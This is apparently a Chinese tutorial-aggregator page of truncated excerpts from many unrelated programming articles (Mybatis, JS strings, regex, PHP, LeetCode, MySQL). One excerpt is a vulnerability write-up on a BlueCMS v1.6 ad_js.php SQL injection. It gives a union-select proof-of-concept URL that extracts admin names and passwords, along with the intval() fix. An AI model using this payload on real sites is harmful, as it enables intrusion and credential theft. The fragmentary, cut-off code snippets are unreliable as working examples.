大师网-带你快速走向大师之路 解决你在学习过程中的疑惑,带你快速进入大师之门。节省时间,提升效率

初识 Mybatis(二)—— 动态 SQL

初识 Mybatis(二)—— 动态 SQL 这篇文章来自我的博客 正文之前 上一篇介绍了 Mybatis 的基本用法,这一篇我们着重介绍一下 Mybatis 对 SQL 拼接的支持,在之前写 JDBC 代码的时候,SQL 拼接的代码一直是处于一种很繁琐的状态,拼接一张表的代码动则几十行,用 Mybatis 就只需要几行就搞定了 主要内容: if 标签 where 标签 trim 标签 正文 1. if 标签 使用 if 标签来判断参数是否为空,

JS字符串操作之增删改查

JS字符串操作之增删改查 之前写过一篇文章叫JS数组操作之增删改查,今天我就用同样的方式简单介绍一下JS字符串操作中常用函数的用法。 一、增 1. concat() 可以传任何个数的参数,用于字符串的拼接,返回连接后的字符串,而原字符串不受影响。例如: var str1 = 'Hello', str2 = ' World', str3 = '! console.log(str1+str2); console.log(str.trim()); // "l" console.log(str.charCodeAt(2));

一千零一夜 第1夜 BlueCMS v1.6 sp1 ad_js.php SQL注入漏洞

//直接代入查询。。汗。 | 验证漏洞 单引号判断法 BlueCMS v1.6 sp1 ad_js.php SQL注入漏 验证POC POC : view-source:http://localhost/cms/ad_js.php?ad_id=1 and 1=2 union select 1,2,3,4,5,concat(admin_name,0x7C0D0A,pwd),concat(admin_name,0x7C0D0A,pwd) from blue_admin where admin_id=1 访问POC链接 漏洞修复 trim()函数修改为intval()函数,如下: $ad_id = ! intval($_GET['ad_id']) : '';

你应该这个姿势学习PHP(1)

  还能格式化浮点数,是ceil原则,四舍五入   sprintf('%.2f',23.453) 23.45   6)number_format(num,int=要保留的小数位,如果不写将四舍五入) 将数字转换成货币格式   3、trim,rtrim,ltrim   字符串的去除空格以及指定的字符   trim($string,'str') 去除整个字符串的指定的字符,如果不填)   3)strrchr()   应用场景:$str = 'uploads/a.b.php';

正则表达式

test(username) } var str = 'jack7770126' console.log(isValidUsername(str)) 题目六、写一个函数 isValidPassword(str), 判断用户输入的是不是合法密码(长度6-20个字符,只包括大写字母、小写字母、数字、下划线,且至少至少包括两种) function isValidPassword(password){ if(! bad-colors: f#fddee " console.log( subj.match(re) ) // ['#121212', '#AA00ef'] 结果 var re = /#([0-9a-f]{6}|[0-9a-f]{3})(? var str = 'hello "hunger" , hello "world"';

正则表达式

com)$/ return reg.test(str) } 写一个函数isPhoneNum(str),判断用户输入的是不是手机号 function isPhoneNum(str) { var reg = /^1\d{10}$/ return reg.test(str) } 写一个函数isValidUsername(str),判断用户输入的是不是合法的用户名(长度6-20个字符,只能包括字母、数字、下划线) function isValidUsername(str) { return /^\w{6,20}$/. bad- colors: f#fddee " console.log( subj.match(re) ) 下面代码输出什么? str.match(pat);

正则表达式小案例

} var a = isPhoneNum('12222222222'); 5. 写一个函数isValidUsername(str),判断用户输入的是不是合法的用户名(长度6-20个字符,只能包括字母、数字、下划线) function isValidUsername(str) { var reg = /^\w{6,20}$/g; } var a = isValidUsername('12_32212_32212_32212'); } var a = isValidPassword('22222'); bad-colors: f#fddee "; console.log( subj.match(re) ) // ['#121212', '#AA00ef'] 8. 下面代码输出什么? var str = 'hello "hunger" , hello "world"';

正则表达式

: [^\r\n]匹配除了回车符和换行符之外所有字符 $ : 以xxx结尾 ^ : 以xxx开头,[^]表示取反 ?:最多出现一次 + :最少出现一次 * : 出现任意次 x{3} : 出现三次 \s : 表示空白字符 2.写一个函数trim(str),去除字符串两边的空白字符 function trim(str) { return str.replace(/^\s+|\s+$/g,'') } 3.写一个函数isEmail(str),判断用户输入的是不是邮箱 function isEmail(str) { var reg =/^\w+[@]\w+[. var subj = "color: #121212;

如何写出一手漂亮代码

如何写出一手漂亮代码 1 清晰了解业务需求. if($str[0] == 8){ $str = substr($str,1); $str = ltrim($str,8); 两种写法都实现了去除首字符的效果,但是第二种利用 php 内置函数一步到位,无论是从代码的可读性和可维护性,都更胜一筹.这除了需要对自己业务逻辑熟悉外,还需要对 php 函数有一定的熟练度. 2 好好利用三元运算符 三元运算符的标准格式为: $abs = true ? htmlspecialchars(trim($_POST['name'])) : '';

fastq序列质量Q30统计软件

fastq序列质量Q30统计软件 FaQCs 使用perl编写,R画图。不仅可以统计质量,Q30,还可以trim序列。安装简单准备好两个需要的perl 模块,下载github上的文件,然后直接cd lib;

php 数组导入导出excel表格问题

php 数组导入导出excel表格问题 事故背景: 甲方反馈按照标准格式无法上传Excel表格数据,提示:头信息与配置信息不符 格式不正确。 列出了关键代码,如下: $xls_file = trim($this- _request- getQuery('xls_file', '')); $excel = $reader- load($xls_file); $column = $sheet- getHighestColumn();getActiveSheet()- getCell("{$k}1")- getValue());= $model- getFields()) { throw new Exception('头信息与配置信息不符 格式不正确!', 4003);

正则表达式

//"hello world" 3. 写一个函数isEmail(str),判断用户输入的是不是邮箱 function isEmail(str) { var reg = (/^\w+@\w+\.\w+$/); //false 6. 写一个函数isValidPassword(str), 判断用户输入的是不是合法密码(长度6-20个字符,只包括大写字母、小写字母、数字、下划线,且至少至少包括两种) function isValidPassword(str) { var reg = /^\w{6,20}$/, reg1 = /^[a-z]{6,20}$/, reg2 = /^[A-Z]{6,20}$/, reg3 = /^[0-9]{6,20}$/, reg4 = /^_{6,20}$/;

Leetcode 65. Valid Number

Leetcode 65. Valid Number Validate if a given string is numeric. Some examples: "0" = true " 0.1 " = true "abc" = false "1 a" = false "2e10" = true Note: It is intended for the problem statement to be ambiguous. You should gather all requirements up front before implementing one. 这道题题意很简单,判断一个字符串是否是一个合法的数字表示。但是坑非常多,因为题目没有说明合法的条件范围,比如. } else if (s.charAt(i) == 'e') { if (eSeen || !

深入理解javascript原型和闭包(1)——一切都是对象

深入理解javascript原型和闭包(1)——一切都是对象 “一切都是对象”这句话的重点在于如何去理解“对象”这个概念。 ——当然,也不是所有的都是对象,值类型就不是对象。 首先咱们还是先看看javascript中一个常用的运算符——typeof。typeof应该算是咱们的老朋友,还有谁没用过它? typeof函数输出的一共有几种类型,在此列出: functionshow(x) { console.log(typeofx);//object} show();

MySQL中char、varchar和text的区别

varchar:存储变长数据,但存储效率没有CHAR高,必须在括号里定义长度,可以有默认值。保存数据的时候,不进行空格自动填充,而且如果数据存在空格时,当值保存和检索时尾部的空格仍会保留。另外,varchar类型的实际长度是它的值的实际长度+1,这一个字节用于保存实际使用了多大的长度。3.

基础js功能学习笔记

} //在数组中获取随机数 // function random_num(arr){// return arr[(Math.floor(Math.random()*arr.length]))]; } //cookie的设置与获取 第三个参数是指cookie的存活时间 function set_cookie(name,value,iDay){ var date=new Date(); date.setDate(date.getDate()+iDay) document.cookie=name+'='+value+';

Mac常用命令

Mac常用命令 序言 熟练使用Mac终端操作的常用命令,可以让你更快、更加高效地进行系统操作,shell就是你的瑞士军刀 1. 隐藏“允许任何来源的应用”选项问题 新的系统安装好后,通常你打开一个dmg文件准备安装的时候,系统会提示你不允许打开未知来源的应用,这是因为从macOS Sierra开始增强了GateKeeper的安全性,所以“允许任何来源的应用”选项被隐藏,目的在于避免除Mac Ap

javaScript基础03

return x; } 上面的函数会返回值 5。 注释:整个 JavaScript 并不会停止执行,仅仅是函数。JavaScript 将继续执行代码,从调用函数的地方。 函数调用将被返回值取代: var myVar=myFunction(); 即使不把它保存为变量,您也可以使用返回值: document.getElementById("demo"). theForm.name.focus(); theForm.submit():提交表单 4.form上面的action是一个路径的话 form.submit()的话,就会直接跳转到这个路径。

ES6(2)-各种类型的扩展

s.startsWith('world', 6) // true s.endsWith('Hello', 5) // true s.includes('Hello', 6) // false 上面代码表示,使用第二个参数n时,endsWith的行为与其他两个方法有所不同。它针对前n个字符,而其他两个方法针对从第n个位置直到字符串结束。 1.2 repeat() repeat方法返回一个新字符串,表示将原字符串重复n次。 'x'. // 字符串中嵌入变量 var name = "Bob", time = "today"; return `str: ${a} XXXX`); console.log(tmpl(data));

使用prettyTime格式化时间

使用prettyTime格式化时间 序 社交网站经常会显示几分钟前,几个小时前之类的时间,java里头有个prettyTime的类库可以用来做这样的转换,这里介绍一下。 maven org.ocpsoft.prettytime prettytime 4.0.1.Final 设置locale Locale locale = Locale.CHINESE; System.out.println(t.format(new Date(1000 * 60 * 12))); String decorate(Duration var1, String var2); if(duration.isInPast()) { result.append(this.pastPrefix).append(time).append(this.pastSuffix);